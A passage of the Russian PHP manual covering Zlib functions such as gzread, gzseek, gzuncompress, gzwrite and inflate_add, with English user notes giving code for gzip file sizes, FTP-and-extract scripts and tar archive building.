Используйте gzrewind(), чтобы переместить указатель на позицию в начало файла, если вы уже записывали данные в него.

Подсказка

Если вам нужно просто вывести содержимое файла без перемещения указателя на позицию или внесения изменений, используйте функцию readgzfile(), которая не требует вызова функции gzopen().

Список параметров

stream

Указатель на gz-файл, возвращённый, после его успешного открытия, функцией gzopen().

Возвращаемые значения

Количество несжатых символов, прочитанных из gz и переданных на вход.

Примеры

Пример #1 Пример использования gzpassthru()

<?php
$fp = gzopen('file.gz', 'r');
gzpassthru($fp);
gzclose($fp);
?>

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним gzwrite

  • « gzpassthru
  • gzread »
  • PHP Manual
  • Функции Zlib
  • Псевдоним gzwrite

gzputs

(PHP 4, PHP 5, PHP 7, PHP 8)

gzputs — Псевдоним gzwrite()

Описание

Функция является псевдонимом: gzwrite().

User Contributed Notes

There are no user contributed notes for this page.


Бинарное чтение gz-файла

  • « gzputs
  • gzrewind »
  • PHP Manual
  • Функции Zlib
  • Бинарное чтение gz-файла

gzread

(PHP 4, PHP 5, PHP 7, PHP 8)

gzread — Бинарное чтение gz-файла

Описание

gzread(resource $stream, int $length): string|false

gzread() читает (распаковывая) до length байт из gz-файла из переданного указателя gz-файла. Чтение заканчивается при достижении максимального размера length распакованных данных или конца файла (EOF)

Список параметров

stream

Указатель на gz-файл, возвращённый, после его успешного открытия, функцией gzopen().

length

Количество байт (после распаковки), которые следует прочитать.

Возвращаемые значения

Прочтённые данные или false в случае возникновения ошибки.

Список изменений

Версия | Описание
7.4.0 | В случае возникновения ошибки возвращается false; раньше, возвращался 0.

Примеры

Пример #1 Пример использования gzread()

<?php
// поместить содержимое gz-файла в строку
$filename = "/usr/local/something.txt.gz";
$zd = gzopen($filename, "r");
$contents = gzread($zd, 10000);
gzclose($zd);
?>

Смотрите также

  • gzwrite() - Бинарная запись в gz-файл
  • gzopen() - Открыть gz-файл
  • gzgets() - Получить строку из указателя файла
  • gzgetss() - Возвращает строку из указателя gz-файла и удалить HTML-теги
  • gzfile() - Считывает весь gz-файл в массив
  • gzpassthru() - Вывод всех оставшихся данных из указателя gz-файла.

User Contributed Notes

imp 15-Jun-2023 01:43
The maximum $length is 2147483647 bytes (2^32-1).

Otherwise gzread() return false.
waldermort at gmail dot com 26-Jul-2017 07:19
Be careful when reading data in a loop. gzread() behaves a little differently than bzread() or fread(), it does NOT return false when reading past the end of stream. It instead returns an empty string.

So a loop like:
$handle = gzopen($file);
while (false !== $chunk = gzread($handle, $bytes)) {
   //...
}

will loop indefinitely.
Nitrogen 17-Sep-2012 03:02
Here is a function for returning the uncompressed filesize of a gzip file. The filesize is stored as a 32-bit integer in the end of the compressed file, that's how this function works. Additionally, this function checks to see if it's a real gzip compressed file before doing the work; if it isn't, then just like other gz- functions, it'll treat it just like a regular file and perform a normal filesize operation. Enjoy!

<?php

function gzfilesize($filename) {
  $gzfs = FALSE;
  if(($zp = fopen($filename, 'r'))!==FALSE) {
    if(@fread($zp, 2) == "\x1F\x8B") { // this is a gzip'd file
      fseek($zp, -4, SEEK_END);
      if(strlen($datum = @fread($zp, 4))==4)
        extract(unpack('Vgzfs', $datum));
    }
    else // not a gzip'd file, revert to regular filesize function
      $gzfs = filesize($filename);
    fclose($zp);
  }
  return($gzfs);
}

?>
calin_ip at yahoo dot com 10-Nov-2010 03:55
Regarding finding out the lenght of the gz file.
For some reason the seek() function didn't worked, so, I've tried finding out the last 4 bytes using string functions.
That worked pretty well. Here is the code.
<?php
$stringu='my_beautiful_file.txt.gz';
$gzip=file_get_contents($stringu);
$rest = substr($gzip, -4);
$GZFileSize = end(unpack("V", $rest));

$FileRead = $stringu;
$HandleRead = gzopen($FileRead, "rb");
$ContentRead = gzread($HandleRead, $GZFileSize);
gzclose($HandleRead);
?>
denis at bitrix dot ru 16-Jul-2010 09:00
Note that this functions' behavior differs from fread in case of EOF.

When you read the last chunk (mean the last bytes from file), it is EOF just after gzread, but in case of fread you need to read once more to get EOF.

Hope, I am clear :)
robinv12001 at yahoo dot co dot in 10-Jun-2009 09:21
<?php
//Extracting the content of a gzip file in php and creating a new csv file using the content
//Create a folder uploads inside current folder
$local_file    =    'test.gz';

//To Get the size of the uncompressed file
$FileRead = $local_file;
$FileOpen = fopen($FileRead, "rb");
fseek($FileOpen, -4, SEEK_END);
$buf = fread($FileOpen, 4);
$GZFileSize = end(unpack("V", $buf));
fclose($FileOpen);
//To Get the size of the zip file

$fzip_size    =    $GZFileSize;

$filename    =    $local_file;
$ext        =    pathinfo($filename,PATHINFO_EXTENSION);
$file_name    =    pathinfo($filename,PATHINFO_FILENAME);
$file_name    =    $file_name.".csv";

$zd         =     gzopen($filename, "rb");
$contents     =     gzread($zd, $fzip_size);
gzclose($zd);
$file_name    =    "uploads/".$file_name;
$fp    =    fopen($file_name, "wb");
fwrite($fp, $contents); //write contents of feed to cache file
fclose($fp);
if(file_exists($file_name))
{
    chmod($file_name,0755);
    unlink($local_file);
}
?>
robinv12001 at yahoo dot co dot in 09-Jun-2009 02:18
<?php
//Using FTP Download a gzip file on current date from a remote server
//The gzip files are extracted
function parse_rawlist( $array )
{
    $i=0;
    foreach($array as $curraw)
    {
        $struc = array();
        $current = preg_split("/[\s]+/",$curraw,9);

        $struc['perms']      =     $current[0];
        $struc['number']     =     $current[1];
        $struc['owner']     =     $current[2];
        $struc['group']      =     $current[3];
        $struc['size']         =     $current[4];
        $struc['month']      =     $current[5];
        $struc['day']        =     $current[6];
        $struc['time']      =     $current[7];
        $struc['zfile_name']      =     $current[8];
     $structure[$i]      =     $struc;
    $i++;
    }
   return $structure;

}
ini_set('memory_limit', '100M');

//Give FTP Information Here
//------------------------------------------------------------
$ftp_server     =     "example.com";
$ftp_user_name    =    "example";
$ftp_user_pass    =    "test";
//------------------------------------------------------------
//------------------------------------------------------------
$local_path     =    '/opt/lampp/htdocs/sample/test.gz';//Local Path
$server_path     =     'outgoing/folder/';//Remote Sever Path
//------------------------------------------------------------

$conn_id = ftp_connect($ftp_server,21);
if($conn_id)
{
    echo "Successfully connected";
}

$login_result     =     ftp_login($conn_id, $ftp_user_name, $ftp_user_pass);
ftp_chdir($conn_id, $server_path);//Change Current Working Directory
$file_list     =    ftp_rawlist($conn_id,".");
$zip_details    =    parse_rawlist($file_list);
set_time_limit(1000);
$curr_date    =    strtotime(date("F d Y"));
for($i=0;$i<count($zip_details);$i++)
{
    $fname        =    $zip_details[$i]['zfile_name'];
    $mod_date1    =    $zip_details[$i]['month']." ".$zip_details[$i]['day']." ".date("Y");
    $mod_date    =    strtotime($mod_date1);//File Modified Date
    if($mod_date == $curr_date)//If modified date equals current date
    {
        $local_file    =    $fname;
        $server_file    =    $fname;
        if (ftp_get($conn_id, $local_file, $server_file, FTP_BINARY))
        {

            echo "<br/>Successfully written to $local_file\n";
        }
        else
        {
            echo "<br/>There was a problem\n";
        }
        if(file_exists($local_file))
        {
            $fzip_size    =    $zip_details[$i]['size'];
            $filename    =    $local_file;
            $ext        =    pathinfo($filename,PATHINFO_EXTENSION);
            $file_name    =    pathinfo($filename,PATHINFO_FILENAME);
            $file_name    =    $file_name.".csv";
            $zd         =     gzopen($filename, "r");
            $contents     =     gzread($zd, $fzip_size);
            $file_name    =    "uploads/".$file_name;
            file_put_contents($file_name,addslashes($contents));
            if(file_exists($file_name))
            {
                chmod($file_name,0755);
                unlink($local_file);
            }
            gzclose($zd);
        }
    }
}
ftp_close($conn_id);
?>
utku 08-Feb-2008 01:31
I don't think it would be wise to open a whole gzip file (it _is_ compressed for a reason, and likely to be a very big file) into a single string. You would most likely hit the php memory limits. Instead, if you need to process the file, put your gzread calls in a loop, and read incrementally by a setting $length to a constant value.
zaotong at yahoo dot com 07-Mar-2007 03:06
As was shown to me in another forum there is a way to get the uncompressed size of the gz file by viewing the last 4 bytes of the gz file.

Here is a piece of code that will do this
<?php
$FileRead = 'SomeText.txt';
$FileOpen = fopen($FileRead, "rb");
        fseek($FileOpen, -4, SEEK_END);
        $buf = fread($FileOpen, 4);
        $GZFileSize = end(unpack("V", $buf));
        fclose($FileOpen);
        $HandleRead = gzopen($FileRead, "rb");
        $ContentRead = gzread($HandleRead, $GZFileSize);
?>

This will read the last 4 bytes of the gz file and use it as the file int for the gzread.

Thanks to stereofrog for helping me with this code.


Переместить позицию указатель gz-файла в начало

  • « gzread
  • gzseek »
  • PHP Manual
  • Функции Zlib
  • Переместить позицию указатель gz-файла в начало

gzrewind

(PHP 4, PHP 5, PHP 7, PHP 8)

gzrewind — Переместить позицию указатель gz-файла в начало

Описание

gzrewind(resource $stream): bool

Устанавливает указатель на позицию файла на начало потока этого файла.

Список параметров

stream

Указатель на gz-файл, возвращённый, после его успешного открытия, функцией gzopen().

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • gzseek() - Переместить указатель на позицию в указателе gz-файла
  • gztell() - Возвращает текущую позицию чтения/записи в указателе gz-файла

User Contributed Notes

There are no user contributed notes for this page.


Переместить указатель на позицию в указателе gz-файла

  • « gzrewind
  • gztell »
  • PHP Manual
  • Функции Zlib
  • Переместить указатель на позицию в указателе gz-файла

gzseek

(PHP 4, PHP 5, PHP 7, PHP 8)

gzseek — Переместить указатель на позицию в указателе gz-файла

Описание

gzseek(resource $stream, int $offset, int $whence = SEEK_SET): int

Устанавливает указатель на позицию в файле, на который ссылается zp. Выполняется смещение потока этого файла на указанное количество байт. Эквивалентно вызову (в C) gzseek(zp, offset, SEEK_SET).

Если файл открыт для чтения, функция эмулируется, при этом будет работать очень медленно. Если файл открыт для записи, разрешено только перемещение вперёд; gzseek() при этом сжимает последовательность нулей до новой позиции.

Список параметров

stream

Указатель на gz-файл, возвращённый, после его успешного открытия, функцией gzopen().

offset

Смещение.

whence

Значения параметра whence может быть одним из следующих:

  • SEEK_SET - Установить абсолютную позицию в offset байт.
  • SEEK_CUR - Установить позицию относительно текущего положения, добавив к ней offset.

Если whence не указан, по умолчанию используется SEEK_SET.

Возвращаемые значения

При успешном завершении возвращает 0; иначе -1. Обратите внимание, что если установленное смещение перемещает указатель на позицию за EOF, это не является ошибкой.

Примеры

Пример #1 Пример использования gzseek()

<?php
$gz = gzopen('somefile.gz', 'r');
gzseek($gz,2);
echo gzgetc($gz);
gzclose($gz);
?>

Смотрите также

  • gztell() - Возвращает текущую позицию чтения/записи в указателе gz-файла
  • gzrewind() - Переместить позицию указатель gz-файла в начало

User Contributed Notes

liuhaifeng at example dot com 15-Oct-2012 05:43
Since seek after the end is not considered an error, I doubt that "while (gzseek ($fh, $eof) == 0) $eof += $d;" will get into infinite loop.
dperham at wgate dot com 12-Apr-2005 08:47
PHP/4.3.9
contrary to the notes, gzseek() returns -1 if I try to seek past the end of the file.  here is a function that will return the last seekable position, and put the file pointer there.

/** sets the file pointer at the end of the file
 *  and returns the number of bytes in the file.
 */
function gzend($fh)
{
   $d   = 1<<14;
   $eof = $d;
   while ( gzseek($fh, $eof) == 0 ) $eof += $d;
   while ( $d > 1 )
   {
      $d >>= 1;
      $eof += $d * (gzseek($fh, $eof)? -1 : 1);
   }
   return $eof;
}


Возвращает текущую позицию чтения/записи в указателе gz-файла

  • « gzseek
  • gzuncompress »
  • PHP Manual
  • Функции Zlib
  • Возвращает текущую позицию чтения/записи в указателе gz-файла

gztell

(PHP 4, PHP 5, PHP 7, PHP 8)

gztell — Возвращает текущую позицию чтения/записи в указателе gz-файла

Описание

gztell(resource $stream): int|false

Получает позицию указателя файла, то есть смещение в потоке распакованного файла.

Список параметров

stream

Указатель на gz-файл, возвращённый, после его успешного открытия, функцией gzopen().

Возвращаемые значения

Текущая позиция или false в случае возникновения ошибки.

Смотрите также

  • gzopen() - Открыть gz-файл
  • gzseek() - Переместить указатель на позицию в указателе gz-файла
  • gzrewind() - Переместить позицию указатель gz-файла в начало

User Contributed Notes

Steve Ramage 18-Dec-2006 10:09
ok so this function returns the gz file pointer as the uncompressed data byte length so if you are trying to put something in to specific size gzip files it won't work.

Example:

<?
//some_file.sql  filesize = 2,048,000 bytes

$text_fp=fopen('some_file.sql','r');
$gz_fp=gzopen('some_file.sql.gz','wb9');
while(!feof($text_fp)){
    gzwrite($gz_fp,fread($text_fp,655360));
}
fclose($text_fp);
echo "gztell = ".gztell($gz_fp)."<BR>\n";
gzclose($gz_fp);
echo "filesize = ".filesize('some_file.sql.gz')."<BR>\n";
?>

Output:

gztell = 2048000
filesize = 249264

I will report this as a bug but post a note here for now


Распаковать сжатую строку

  • « gztell
  • gzwrite »
  • PHP Manual
  • Функции Zlib
  • Распаковать сжатую строку

gzuncompress

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

gzuncompress — Распаковать сжатую строку

Описание

gzuncompress(string $data, int $max_length = 0): string|false

Распаковывает сжатую строку.

Список параметров

data

Данные, сжатые функцией gzcompress().

max_length

Максимальный размер данных для декодирования.

Возвращаемые значения

Исходные несжатые данные или false в случае возникновения ошибки.

Функция также сообщит об ошибке в случае, если несжатые данные в 32768 раз больше размера сжатых данных data или больше параметра max_length.

Примеры

Пример #1 Пример использования gzuncompress()

<?php
$compressed = gzcompress('Сожми меня', 9);
$uncompressed = gzuncompress($compressed);
echo $uncompressed;
?>

Смотрите также

  • gzcompress() - Сжать строку
  • gzinflate() - Распаковать сжатую строку
  • gzdeflate() - Сжимает строку
  • gzencode() - Создать сжатую строку gzip

User Contributed Notes

anonymous at dekho-ji dot com 16-May-2013 11:38
To decode / uncompress the received HTTP POST data in PHP code, request data coming from Java / Android application via HTTP POST GZIP / DEFLATE compressed format

1) Data sent from Java Android app to PHP using DeflaterOutputStream java class and received in PHP as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,2,-4) ) . PHP_EOL  . PHP_EOL;

2) Data sent from Java Android app to PHP using GZIPOutputStream java class and received in PHP code as shown below
echo gzinflate( substr($HTTP_RAW_POST_DATA,10,-8) ) . PHP_EOL  . PHP_EOL;

From Java Android side (API level 10+), data being sent in DEFLATE compressed format
        String body = "Lorem ipsum shizzle ma nizle";
        URL url = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn = url.openConnection();
        conn.setDoOutput(true);
        conn.setRequestProperty("Content-encoding", "deflate");
        conn.setRequestProperty("Content-type", "application/octet-stream");
        DeflaterOutputStream dos = new DeflaterOutputStream(
                conn.getOutputStream());
        dos.write(body.getBytes());
        dos.flush();
        dos.close();
        BufferedReader in = new BufferedReader(new InputStreamReader(
                conn.getInputStream()));
        String decodedString = "";
        while ((decodedString = in.readLine()) != null) {
            Log.e("dump",decodedString);
        }
        in.close();

On PHP side (v 5.3.1), code for decompressing this DEFLATE data will be
    echo substr($HTTP_RAW_POST_DATA,2,-4);

From Java Android side (API level 10+), data being sent in GZIP compressed format

        String body1 = "Lorem ipsum shizzle ma nizle";
        URL url1 = new URL("http://www.url.com/postthisdata.php");
        URLConnection conn1 = url1.openConnection();
        conn1.setDoOutput(true);
        conn1.setRequestProperty("Content-encoding", "gzip");
        conn1.setRequestProperty("Content-type", "application/octet-stream");
        GZIPOutputStream dos1 = new GZIPOutputStream(conn1.getOutputStream());
        dos1.write(body1.getBytes());
        dos1.flush();
        dos1.close();
        BufferedReader in1 = new BufferedReader(new InputStreamReader(
                conn1.getInputStream()));
        String decodedString1 = "";
        while ((decodedString1 = in1.readLine()) != null) {
            Log.e("dump",decodedString1);
        }
        in1.close();

On PHP side (v 5.3.1), code for decompressing this GZIP data will be
    echo substr($HTTP_RAW_POST_DATA,10,-8);

Useful PHP code for printing out compressed data using all available formats.

$data = "Lorem ipsum shizzle ma nizle";
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzcompress($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzdeflate($data,$i))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_GZIP))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";
for($i=-1;$i<=9;$i++)
    echo chunk_split(strtoupper(bin2hex(gzencode($data,$i,FORCE_DEFLATE))),2," ") . PHP_EOL  . PHP_EOL;
echo "\n\n\n";

Hope this helps. Please ThumbsUp if this saved you a lot of effort and time.
MagicalTux at php dot net 31-Dec-2010 01:36
Hi, I got an alternative for those zipped strings that gzuncompress() cannot extract.

It is a bit better than previous options as it do not create any temporary files, but it has to encode the string in base64, meaning it won't be as fast as a native equivalent (which is probably going to be gzdecode())

<?php
if (!function_exists('gzdecode')) {
    function gzdecode($string) { // no support for 2nd argument
        return file_get_contents('compress.zlib://data:who/cares;base64,'. base64_encode($string));
    }
}
?>
squeegee 23-Aug-2009 07:07
One way to uncompress zlib-compressed data that is in a file without first reading in the file and then gzuncompressing it (maybe you have memory problems doing it that way) is to compile the zpipe.c program from zlib ( http://www.zlib.net/zpipe.c )...

on linux, etc:

# gcc -lz -o zpipe zpipe.c

# cp zpipe /usr/local/bin

Then do this

<?php

$uncompressed = shell_exec("cat $compressed_file | zpipe -d");

?>
heavyccasey at gmail dot com 07-Nov-2007 08:30
Note that gzuncompress() may not decompress some compressed strings and return a Data Error.

The problem could be that the outside compressed string has a CRC32 checksum at the end of the file instead of Adler-32, like PHP expects.

Workaround:
<?php
    function gzuncompress_crc32($data) {
         $f = tempnam('/tmp', 'gz_fix');
         file_put_contents($f, "\x1f\x8b\x08\x00\x00\x00\x00\x00" . $data);
         return file_get_contents('compress.zlib://' . $f);
    }
?>
gabriel at bumpt dot n-et 17-Sep-2007 03:08
To uncompress in PHP a string that has been compressed using MySQL's COMPRESS() function, you need to discard the first four bytes of the binary data:

<?php

  /*
   * Example:
   *
   * insert into mytable (myfield, ...) values (COMPRESS('foobar'), ...)
   *
   * then:
   */
$compressed = //...select myfield from mytable where...
  /*
   * then:
   */
$uncompressed = gzuncompress(substr($compressed, 4));
?>

Of course, you can use MySQL's UNCOMPRESS() function.
I was just providing an alternate method.
emanuele at fondani dot it 25-Nov-2006 03:21
Note that the manual states that the input parameter must be a string compressed with gzcompress(), so it is not guaranteed that it will compress ANY zlib compressed string.
I realized this while decompressing some compressed string in a pdf file. The gzuncompress() function produces a data error, but the string can be successfully decompressed with other zlib decompressors.

More info here:
http://bugs.php.net/?id=39616
chappy at citromail dot hu 13-Apr-2006 07:47
Reading an ID3v2.3+ tag it is versy useful, because these tag's frames might be compressed. Zlib compressed frame layout (ID3v2.3):

Descriptior                                                    Size
-------------------
Frameheader:
Frame id:                                                      4 bytes
Frame size (full frame size - frameheader size): 4 bytes
Frame flags:                                                  2 bytes
    The 2nd byte's 7th bit must be 1 (e.g.: %1xy00000)
Frame content decrompessed size:                   4 bytes
--------------------
Framecontent:
Compressed string                                          described in 'frame size'

<?php
$frame="[read from a mp3 file]";
$frame_id=substr($frame,0,4);
/*....*/
$cs=substr($frame,10,4);
$checksize=$cs[3]*16777216+$cs[2]*65536+$cs[1]*256+$cs[0];

$content=substr($frame,14,$contentsize);
$content=gzuncompress($content);
if(strlen($content)!=$checksize){
    echo 'Error whil uncrompessing frame data<br>';
}
echo $content;
?>


Бинарная запись в gz-файл

  • « gzuncompress
  • inflate_add »
  • PHP Manual
  • Функции Zlib
  • Бинарная запись в gz-файл

gzwrite

(PHP 4, PHP 5, PHP 7, PHP 8)

gzwrite — Бинарная запись в gz-файл

Описание

gzwrite(resource $stream, string $data, ?int $length = null): int|false

gzwrite() записывает содержимое data в данный gz-файл.

Список параметров

stream

Указатель на gz-файл, возвращённый, после его успешного открытия, функцией gzopen().

data

Записываемая строка.

length

Число несжатых байтов для записи. Если указано, операция завершится после записи length (до сжатия) байт или при достижении конца строки, в зависимости от того, что наступит раньше. data.

Возвращаемые значения

Возвращает количество записанных байт (без учёта сжатия) в поток gz-файла или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | length теперь допускает значение null; раньше значением по умолчанию был 0.
7.4.0 | В случае возникновения ошибки функция возвращает false. раньше возвращался 0.

Примеры

Пример #1 Пример использования gzwrite()

<?php
$string = 'Какие-то данные для сжатия';
$gz = gzopen('somefile.gz','w9');
gzwrite($gz, $string);
gzclose($gz);
?>

Смотрите также

  • gzread() - Бинарное чтение gz-файла
  • gzopen() - Открыть gz-файл

User Contributed Notes

Take Heed 07-Nov-2010 12:50
Read the description of gzwrite() very carefully.  If the 'length' option is not specified, then the input data will have slashes stripped on systems where magic quotes are enabled.  This is important information to know when compressing files.

<?php
$data = fread($fp, 5000);
gzwrite($fp2, $data, strlen($data));
?>

Is the correct way to avoid issues with magic quotes.
calmarius at nospam dot atw dot hu 05-Feb-2009 08:07
gz compression is often used with tar archives. Building tar archives is quite easy. Here is a code snipplet which can be used for building tar archives before compressing them to tar.gz.

<?php

//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
// Adds file header to the tar file, it is used before adding file content.
// f: file resource (provided by eg. fopen)
// phisfn: path to file
// archfn: path to file in archive, directory names must be followed by '/'
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\
function TarAddHeader($f,$phisfn,$archfn)
{
    $info=stat($phisfn);
    $ouid=sprintf("%6s ", decoct($info[4]));
    $ogid=sprintf("%6s ", decoct($info[5]));
    $omode=sprintf("%6s ", decoct(fileperms($phisfn)));
    $omtime=sprintf("%11s", decoct(filemtime($phisfn)));
    if (@is_dir($phisfn))
    {
         $type="5";
         $osize=sprintf("%11s ", decoct(0));
    }
    else
    {
         $type='';
         $osize=sprintf("%11s ", decoct(filesize($phisfn)));
         clearstatcache();
    }
    $dmajor = '';
    $dminor = '';
    $gname = '';
    $linkname = '';
    $magic = '';
    $prefix = '';
    $uname = '';
    $version = '';
    $chunkbeforeCS=pack("a100a8a8a8a12A12",$archfn, $omode, $ouid, $ogid, $osize, $omtime);
    $chunkafterCS=pack("a1a100a6a2a32a32a8a8a155a12", $type, $linkname, $magic, $version, $uname, $gname, $dmajor, $dminor ,$prefix,'');

    $checksum = 0;
    for ($i=0; $i<148; $i++) $checksum+=ord(substr($chunkbeforeCS,$i,1));
    for ($i=148; $i<156; $i++) $checksum+=ord(' ');
    for ($i=156, $j=0; $i<512; $i++, $j++)    $checksum+=ord(substr($chunkafterCS,$j,1));

    fwrite($f,$chunkbeforeCS,148);
    $checksum=sprintf("%6s ",decoct($checksum));
    $bdchecksum=pack("a8", $checksum);
    fwrite($f,$bdchecksum,8);
    fwrite($f,$chunkafterCS,356);
    return true;
}
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
// Writes file content to the tar file must be called after a TarAddHeader
// f:file resource provided by fopen
// phisfn: path to file
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
function TarWriteContents($f,$phisfn)
{
    if (@is_dir($phisfn))
    {
        return;
    }
    else
    {
        $size=filesize($phisfn);
        $padding=$size % 512 ? 512-$size%512 : 0;
        $f2=fopen($phisfn,"rb");
        while (!feof($f2)) fwrite($f,fread($f2,1024*1024));
        $pstr=sprintf("a%d",$padding);
        fwrite($f,pack($pstr,''));
    }
}
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
// Adds 1024 byte footer at the end of the tar file
// f: file resource
//\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
function TarAddFooter($f)
{
    fwrite($f,pack('a1024',''));
}

?>
repository at lamaresh dot net 03-Feb-2009 10:37
This function add a line to a .gz compressed file

<?php
function AppendLineGz($file,$string) {
    if (file_exists($file)) {
        $lines = gzfile($file);
        $lines[count($lines)] = "$string\r\n";
        $input=implode($lines);
    } else {$input="$string\r\n";}
    $gz = gzopen($file,'w9');
    gzwrite($gz, $input);
    gzclose($gz);
}
?>
Anonymous 27-Mar-2008 12:34
katzlbtjunk's method is certainly shorter, but it is unusable for anything except small files.  It would try to load the whole file into memory, then create an entire compressed copy, and only then write it to disk.  The other method given below will not exhaust memory like that.
katzlbtjunk at hotmail dot com 21-Feb-2008 11:24
How about this instead:
$s = file_get_contents('file.tar');
file_put_contents('file.tar.gz',gzencode($s,9));
Kioob 13-Aug-2003 04:30
This is a short example of use gzwrite function.
<?php
function gzcompressfile($source,$level=false){
    $dest=$source.'.gz';
    $mode='wb'.$level;
    $error=false;
    if($fp_out=gzopen($dest,$mode)){
        if($fp_in=fopen($source,'rb')){
            while(!feof($fp_in))
                gzwrite($fp_out,fread($fp_in,1024*512));
            fclose($fp_in);
            }
          else $error=true;
        gzclose($fp_out);
        }
      else $error=true;
    if($error) return false;
      else return $dest;
    }
?>

the function gzcompressfile() compress a file 'data.csv' to 'data.csv.gz'. the function return false if error, and the new file name if it's ok.


Инкрементальное распаковать закодированные данные

  • « gzwrite
  • inflate_get_read_len »
  • PHP Manual
  • Функции Zlib
  • Инкрементальное распаковать закодированные данные

inflate_add

(PHP 7, PHP 8)

inflate_add — Инкрементальное распаковать закодированные данные

Описание

inflate_add(InflateContext $context, string $data, int $flush_mode = ZLIB_SYNC_FLUSH): string|false

Инкрементальное распаковывает закодированные данные в указанном контексте context.

Ограничение: информация заголовка из сжатых данных GZIP не доступны.

Список параметров

context

Контекст, созданный с помощью inflate_init().

data

Блок сжатых данных.

flush_mode

Одна из констант: ZLIB_BLOCK, ZLIB_NO_FLUSH, ZLIB_PARTIAL_FLUSH, ZLIB_SYNC_FLUSH (по умолчанию), ZLIB_FULL_FLUSH, ZLIB_FINISH. Обычно требуется установить ZLIB_NO_FLUSH для максимальной компрессии и ZLIB_FINISH для завершения работы с последним блоком данных. Детальное описание констант смотрите в » руководство zlib.

Возвращаемые значения

Возвращает блок распакованных данных или false в случае возникновения ошибки.

Ошибки

Если переданы некорректные параметры, распаковка требует наличие словаря, но он не задан, поток сжатых данных испорчен или имеет некорректную контрольную сумму, то генерируется ошибка уровня E_WARNING.

Список изменений

Версия | Описание
8.0.0 | context ожидает экземпляр InflateContext; раньше, ожидался ресурс (resource).

Смотрите также

  • inflate_init() - Инициализация контекста инкрементальной распаковки

User Contributed Notes

burp at -only-in-German-fuerspam dot de 20-Apr-2023 12:30
It's not obvious how to use this for _incremental_ decompression:
You feed _the compressed data_ into inflate_add() _in pieces_.
The internal state of the zlib context will make sure than you can split at any point and still get the correct total data out, as long as you keep reading until the end.

In this way, you don't have to hold the complete uncompressed data in memory at any one time (and don't have to materialize it either as a file for gzopen() etc.), allowing you to parse files much bigger than the available php memory limit.

<?php
/* a good step size depends on the input's level of compression,
unfortunately there's no obvious way to know that beforehand;
in doubt instead choose a rather small value and glue the pieces together,
until there's enough data for processing */
$step = 500000;

$dataGz = load_gzip_compressed_data_to_string();

$start = 0;
$outLen = 0;
$ctxt = inflate_init(ZLIB_ENCODING_GZIP);
$status = inflate_get_status($inflCtxt);

while($status == ZLIB_OK) {
    $split = substr($dataGz, $start, $step);
    $dataFragment = inflate_add($inflCtxt, $split);
    /* process fragment, potentially keep parts across iterations */
    $outLen += strlen($dataFragment);
    $status = inflate_get_status($inflCtxt);
    $start += $step;
}
echo 'Input: ' . strlen($dataGz) . ' Bytes / Output: ' . $outLen . ' Bytes.';
?>

N.B.: Archives of extremely high compression will still bomb out with a stupid and unnecessary memory exhaustion, as it's not possible to define a limit in inflate_init() similar to gzuncompress().


Получает количество прочитанных байт

  • « inflate_add
  • inflate_get_status »
  • PHP Manual
  • Функции Zlib
  • Получает количество прочитанных байт

inflate_get_read_len

(PHP 7 >= 7.2.0, PHP 8)

inflate_get_read_len — Получает количество прочитанных байт

Описание

inflate_get_read_len(InflateContext $context): int

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

context

Возвращаемые значения

Возвращает количество прочитанных байт или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | context ожидает экземпляр InflateContext; раньше, ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Получает статус декомпрессии

  • « inflate_get_read_len
  • inflate_init »
  • PHP Manual
  • Функции Zlib
  • Получает статус декомпрессии

inflate_get_status

(PHP 7 >= 7.2.0, PHP 8)

inflate_get_status — Получает статус декомпрессии

Описание

inflate_get_status(InflateContext $context): int

Обычно возвращает ZLIB_OK или ZLIB_STREAM_END.

Список параметров

context

Возвращаемые значения

Возвращает статус декомпрессии.

Список изменений

Версия | Описание
8.0.0 | context ожидает экземпляр InflateContext; раньше, ожидался ресурс (resource).

User Contributed Notes

There are no user contributed notes for this page.


Инициализация контекста инкрементальной распаковки

  • « inflate_get_status
  • readgzfile »
  • PHP Manual
  • Функции Zlib
  • Инициализация контекста инкрементальной распаковки

inflate_init

(PHP 7, PHP 8)

inflate_init — Инициализация контекста инкрементальной распаковки

Описание

inflate_init(int $encoding, array $options = []): InflateContext|false

Инициализирует контекст инкрементальной распаковки с указанной кодировкой encoding.

Список параметров

encoding

Одна из констант ZLIB_ENCODING_*.

options

Ассоциативный массив, который может содержать следующие элементы:

level

Уровень сжатия в диапазоне -1..9; по умолчанию -1.

memory

Уровень памяти сжатия в диапазоне 1..9; по умолчанию 8.

window

Размер окна zlib (логарифмический) в диапазоне 8..15; по умолчанию 15.

strategy

Одна из констант: ZLIB_FILTERED, ZLIB_HUFFMAN_ONLY, ZLIB_RLE, ZLIB_FIXED или ZLIB_DEFAULT_STRATEGY (по умолчанию).

dictionary

Строка (string) или массив (array) строк текущего словаря (по умолчанию предустановленного словаря нет).

Возвращаемые значения

Возвращает ресурс контекста распаковки (zlib.inflate) или false в случае возникновения ошибки.

Ошибки

Если в options была передана некорректная опция, или контекст не может быть создан, то будет вызвана ошибка уровня E_WARNING.

Список изменений

